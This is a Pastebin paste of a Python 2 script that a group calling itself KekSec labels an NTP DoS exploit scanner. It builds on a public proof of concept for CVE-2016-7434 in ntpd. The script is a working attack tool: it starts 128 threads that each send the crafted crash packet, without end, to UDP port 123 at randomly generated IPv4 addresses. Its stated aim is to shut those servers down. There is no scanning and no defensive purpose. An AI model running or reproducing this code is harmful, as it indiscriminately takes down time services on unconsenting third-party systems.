KekSec

NTP DOS EXPLOIT SCANNER

Nov 28th, 2016
966
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.51 KB | None | 0 0
  1. #!/usr/bin/env python
  2. #
  3. #
  4. #this script will scan for NTP servers and shut them down using CVE-2016-7434
  5. #Coded by Freak@Salamandersquad
  6. #
  7. #
  8. # Exploit Title: ntpd remote pre-auth Denial of Service
  9. # Date: 2016-11-21
  10. # Exploit Author: Magnus Klaaborg Stubman (@magnusstubman)
  11. # Website: http://dumpco.re/cve-2016-7434/
  12. # Vendor Homepage: http://www.ntp.org/
  13. # Software Link: https://www.eecis.udel.edu/~ntp/ntp_spool/ntp4/ntp-4.2/ntp-4.2.8p8.tar.gz
  14. # Version: ntp-4.2.7p22, up to but not including ntp-4.2.8p9, and ntp-4.3.0 up to, but not including ntp-4.3.94
  15. # CVE: CVE-2016-7434
  16.  
  17. import sys
  18. import socket
  19. import random
  20. import struct
  21. from threading import Thread
  22.  
  23. class NTPWorm():
  24. def __init__(self):
  25. for i in range(0,128):
  26. Thread(target=self.worm, args=()).start()
  27. def worm(self):
  28. while True:
  29. payload = "\x16\x0a\x00\x10\x00\x00\x00\x00\x00\x00\x00\x36\x6e\x6f\x6e\x63\x65\x2c\x20\x6c\x61\x64\x64\x72\x3d\x5b\x5d\x3a\x48\x72\x61\x67\x73\x3d\x33\x32\x2c\x20\x6c\x61\x64\x64\x72\x3d\x5b\x5d\x3a\x57\x4f\x50\x00\x32\x2c\x20\x6c\x61\x64\x64\x72\x3d\x5b\x5d\x3a\x57\x4f\x50\x00\x00"
  30. target = socket.inet_ntoa(struct.pack('>I', random.randint(1, 0xffffffff)))
  31. port = 123
  32. print "[-] Sending payload to " + target + ":" + str(port) + " ..."
  33. sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
  34. try:
  35. sock.sendto(payload, (target, port))
  36. print "[+] Done!"
  37. except Exception, e:
  38. print "[-] Failed to sent packet: "+str(e)
  39. pass
  40.  
  41. if __name__=="__main__":
  42. NTPWorm()
Advertisement
Add Comment
Please, Sign In to add comment